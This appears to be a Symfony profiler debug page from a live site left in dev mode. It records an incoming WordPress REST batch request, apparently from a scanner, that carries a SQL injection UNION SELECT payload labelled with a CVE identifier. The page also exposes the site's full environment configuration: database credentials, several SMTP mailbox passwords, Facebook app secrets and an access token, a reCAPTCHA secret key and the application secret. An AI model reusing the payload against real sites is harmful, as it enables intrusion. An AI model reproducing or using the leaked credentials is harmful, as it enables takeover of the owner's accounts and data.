https://kas.webmax.cloud/?rest_route=%2Fbatch%2Fv1

Method
POST
HTTP Status
200
IP
168.138.205.35
Profiled on
Token
1e2a54

HomeController :: index

Request

GET Parameters

Key Value
rest_route 
"/batch/v1"

POST Parameters

No POST parameters

Uploaded Files

No files were uploaded

Request Attributes

Key Value
_controller 
"App\Controller\Pages\HomeController::index"
_route 
"app_pages_home_index"
_route_params 
[]
_stopwatch_token 
"ec52a7"

Request Headers

Header Value
accept-encoding 
"identity"
connection 
"close"
content-length 
"735"
content-type 
"application/json"
host 
"kas.webmax.cloud"
user-agent 
"cve-2026-63030/1.0"
x-php-ob-level 
"1"

Request Content

Pretty

{
    "requests": [
        {
            "method": "POST",
            "path": "\/\/\/"
        },
        {
            "method": "POST",
            "path": "\/wp\/v2\/posts",
            "body": {
                "requests": [
                    {
                        "method": "POST",
                        "path": "\/\/\/"
                    },
                    {
                        "method": "GET",
                        "path": "\/wp\/v2\/posts\/999999?author_exclude=0%29+UNION+SELECT+999999%2C2%2C0x323032302d30312d30312030303a30303a3030%2C0x323032302d30312d30312030303a30303a3030%2C5%2CCONCAT%280x7c7c%2CHEX%28CAST%28%28SELECT+0x4f4b%29AS+CHAR%29%29%2C0x7c7c%29%2C7%2C0x7075626c697368%2C9%2C10%2C11%2C12%2C13%2C14%2C0x323032302d30312d30312030303a30303a3030%2C0x323032302d30312d30312030303a30303a3030%2C17%2C18%2C19%2C20%2C0x706f7374%2C22%2C23--+-&orderby=none&per_page=500"
                    },
                    {
                        "method": "GET",
                        "path": "\/wp\/v2\/posts"
                    }
                ]
            }
        },
        {
            "method": "POST",
            "path": "\/batch\/v1",
            "body": {
                "requests": []
            }
        }
    ]
}

Raw

{"requests": [{"method": "POST", "path": "///"}, {"method": "POST", "path": "/wp/v2/posts", "body": {"requests": [{"method": "POST", "path": "///"}, {"method": "GET", "path": "/wp/v2/posts/999999?author_exclude=0%29+UNION+SELECT+999999%2C2%2C0x323032302d30312d30312030303a30303a3030%2C0x323032302d30312d30312030303a30303a3030%2C5%2CCONCAT%280x7c7c%2CHEX%28CAST%28%28SELECT+0x4f4b%29AS+CHAR%29%29%2C0x7c7c%29%2C7%2C0x7075626c697368%2C9%2C10%2C11%2C12%2C13%2C14%2C0x323032302d30312d30312030303a30303a3030%2C0x323032302d30312d30312030303a30303a3030%2C17%2C18%2C19%2C20%2C0x706f7374%2C22%2C23--+-&orderby=none&per_page=500"}, {"method": "GET", "path": "/wp/v2/posts"}]}}, {"method": "POST", "path": "/batch/v1", "body": {"requests": []}}]}

Response

Response Headers

Header Value
cache-control 
"no-cache, private"
content-type 
"text/html; charset=UTF-8"
date 
"Fri, 11 Sep 2026 11:20:47 GMT"
x-debug-token 
"1e2a54"

Cookies

Request Cookies

No request cookies

Response Cookies

No response cookies

Session

Session Metadata

No session metadata

Session Attributes

No session attributes

Session Usage

0 Usages
Stateless check enabled

Session not used.

Flashes

Flashes

No flash messages were created.

Server Parameters

Server Parameters

Defined in .env

Key Value
APP_CDN 
"https://kas-cdn.webmax.cloud/"
APP_CDN_PATH 
"/var/www/kas-cdn.webmax.cloud/web/"
APP_DEBUG 
"1"
APP_DEV_HOSTS 
""
APP_DIR 
"/var/www/kas.webmax.cloud/"
APP_ENV 
"dev"
APP_PREVCACHE 
"18082"
APP_ROBOTS 
"noindex, nofollow"
APP_SALT 
"vZW1uT5oCwUfkoxTacZkQCS3lki4ut"
APP_SECRET 
"15bb4326963fefcd079b9fe6ef24c41e"
APP_URL 
"https://kas.webmax.cloud"
APP_VBAZENU 
"https://kas.webmax.cloud/vbazenu"
AP_EMAIL 
"kurzyplavani@kultura-sport.cz"
AP_EMAIL2 
"prazdniny@kultura-sport.cz"
AP_EMAIL2_HOST 
"smtp.forpsi.com"
AP_EMAIL2_PORT 
"587"
AP_EMAIL2_PWD 
"Letoleto2019"
AP_EMAIL2_SMTP 
"true"
AP_EMAIL2_USR 
"prazdniny@kultura-sport.cz"
AP_EMAIL3 
"prazdniny-miniskola@kultura-sport.cz"
AP_EMAIL3_HOST 
"smtp.forpsi.com"
AP_EMAIL3_PORT 
"587"
AP_EMAIL3_PWD 
"Legrace2020"
AP_EMAIL3_SMTP 
"true"
AP_EMAIL3_USR 
"prazdniny-miniskola@kultura-sport.cz"
AP_EMAIL4 
"prazdniny-aquasvet@kultura-sport.cz"
AP_EMAIL4_HOST 
"smtp.forpsi.com"
AP_EMAIL4_PORT 
"587"
AP_EMAIL4_PWD 
"Legrace2020"
AP_EMAIL4_SMTP 
"true"
AP_EMAIL4_USR 
"prazdniny-aquasvet@kultura-sport.cz"
AP_EMAIL5 
"prazdniny-kino@kultura-sport.cz"
AP_EMAIL5_HOST 
"smtp.forpsi.com"
AP_EMAIL5_PORT 
"587"
AP_EMAIL5_PWD 
"JT595YtBi^F@Q3"
AP_EMAIL5_SMTP 
"true"
AP_EMAIL5_USR 
"prazdniny-kino@kultura-sport.cz"
AP_EMAIL_HOST 
"smtp.forpsi.com"
AP_EMAIL_PORT 
"587"
AP_EMAIL_PWD 
"Voda2018"
AP_EMAIL_SMTP 
"true"
AP_EMAIL_USR 
"kurzyplavani@kultura-sport.cz"
DATABASE_PREFIX 
"db_0_kas_"
DATABASE_URL 
"mysql://udb0_kasdb:QxB_Nei4bT8@localhost:3306/db_0_kas_GL"
DB_HOST 
"localhost"
DB_NAME 
"db_0_kas_GL"
DB_PASSWORD 
"QxB_Nei4bT8"
DB_PORT 
"3306"
DB_USER 
"udb0_kasdb"
FACEBOOK_APP_ID 
"1886607101653164"
FACEBOOK_APP_SECRET 
"94033fc5ccca33d42aad2d20a5771c97"
FB_APP_ID 
"1886607101653164"
FB_PAGE 
"157160077640016"
FB_SECRET 
"94033fc5ccca33d42aad2d20a5771c97"
FB_TOKEN 
"EAAaz2ZCIf8KwBRS34ewZBy8jRSSZBYFOcfVXcDvw2Qs7z7tkoRFQT2wAZAU6afdyhnwxZBVAbeYbtX22bfmfXxYz7eDPwFwygzu7DgmbdLJvGCOp23rAf0u1CJsyAB4CR3GNOdd3ZAqyesUuZBYJZABYLrXrAiFheKLGb1I3gAZAIZB3a4V24JmaCdSXrEIZBSZB9mcG3MuVZCBRnB4008Bup6LAi"
G_SECRET_KEY 
"6LerWuMlAAAAABr3ZOlA521WQrY2d9zX7uCIOk6n"
G_SITE_KEY 
"6LerWuMlAAAAACj5vEgPdUYENrPA1U3gNNjKCspK"
MC_SRV 
"memcached://localhost:11211"

Defined as regular env variables

Key Value
CONTENT_LENGTH 
"735"
CONTENT_TYPE 
"application/json"
CONTEXT_DOCUMENT_ROOT 
"/var/www/clients/client0/web40/web"
CONTEXT_PREFIX 
""
DOCUMENT_ROOT 
"/var/www/clients/client0/web40/web"
FCGI_ROLE 
"RESPONDER"
GATEWAY_INTERFACE 
"CGI/1.1"
HOME 
"/var/www/clients/client0/web40/./home/web40"
HOSTNAME 
""
HTTPS 
"on"
HTTP_ACCEPT_ENCODING 
"identity"
HTTP_CONNECTION 
"close"
HTTP_HOST 
"kas.webmax.cloud"
HTTP_USER_AGENT 
"cve-2026-63030/1.0"
PATH 
"/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin"
PHP_SELF 
"/index.php"
QUERY_STRING 
"rest_route=/batch/v1"
REDIRECT_HTTPS 
"on"
REDIRECT_QUERY_STRING 
"rest_route=/batch/v1"
REDIRECT_SCRIPT_URI 
"https://kas.webmax.cloud/"
REDIRECT_SCRIPT_URL 
"/"
REDIRECT_SSL_TLS_SNI 
"kas.webmax.cloud"
REDIRECT_STATUS 
"200"
REDIRECT_UNIQUE_ID 
"aqPkDoOCVd0QxzJXrAHc4AAAA5Y"
REDIRECT_URL 
"/"
REMOTE_ADDR 
"168.138.205.35"
REMOTE_PORT 
"51929"
REQUEST_METHOD 
"POST"
REQUEST_SCHEME 
"https"
REQUEST_TIME 
1789125646
REQUEST_TIME_FLOAT 
1789125646.1967
REQUEST_URI 
"/?rest_route=/batch/v1"
SCRIPT_FILENAME 
"/var/www/clients/client0/web40/web/index.php"
SCRIPT_NAME 
"/index.php"
SCRIPT_URI 
"https://kas.webmax.cloud/"
SCRIPT_URL 
"/"
SERVER_ADDR 
"37.205.8.182"
SERVER_ADMIN 
"webmaster@kas.webmax.cloud"
SERVER_NAME 
"kas.webmax.cloud"
SERVER_PORT 
"443"
SERVER_PROTOCOL 
"HTTP/1.1"
SERVER_SIGNATURE 
""
SERVER_SOFTWARE 
"Apache"
SSL_TLS_SNI 
"kas.webmax.cloud"
SYMFONY_DOTENV_VARS 
"APP_ENV,APP_DEBUG,APP_URL,APP_SALT,APP_SECRET,APP_ROBOTS,APP_DEV_HOSTS,APP_DIR,APP_CDN,APP_VBAZENU,APP_CDN_PATH,G_SITE_KEY,G_SECRET_KEY,APP_PREVCACHE,MC_SRV,FB_PAGE,FB_APP_ID,FB_SECRET,FB_TOKEN,FACEBOOK_APP_ID,FACEBOOK_APP_SECRET,DB_USER,DB_PASSWORD,DB_HOST,DB_PORT,DB_NAME,DATABASE_URL,DATABASE_PREFIX,AP_EMAIL,AP_EMAIL_USR,AP_EMAIL_PWD,AP_EMAIL_HOST,AP_EMAIL_PORT,AP_EMAIL_SMTP,AP_EMAIL2,AP_EMAIL2_USR,AP_EMAIL2_PWD,AP_EMAIL2_HOST,AP_EMAIL2_PORT,AP_EMAIL2_SMTP,AP_EMAIL3,AP_EMAIL3_USR,AP_EMAIL3_PWD,AP_EMAIL3_HOST,AP_EMAIL3_PORT,AP_EMAIL3_SMTP,AP_EMAIL4,AP_EMAIL4_USR,AP_EMAIL4_PWD,AP_EMAIL4_HOST,AP_EMAIL4_PORT,AP_EMAIL4_SMTP,AP_EMAIL5,AP_EMAIL5_USR,AP_EMAIL5_PWD,AP_EMAIL5_HOST,AP_EMAIL5_PORT,AP_EMAIL5_SMTP"
TEMP 
"/var/www/clients/client0/web40/tmp"
TMP 
"/var/www/clients/client0/web40/tmp"
TMPDIR 
"/var/www/clients/client0/web40/tmp"
UNIQUE_ID 
"aqPkDoOCVd0QxzJXrAHc4AAAA5Y"
USER 
"web40"
proxy-nokeepalive 
"1"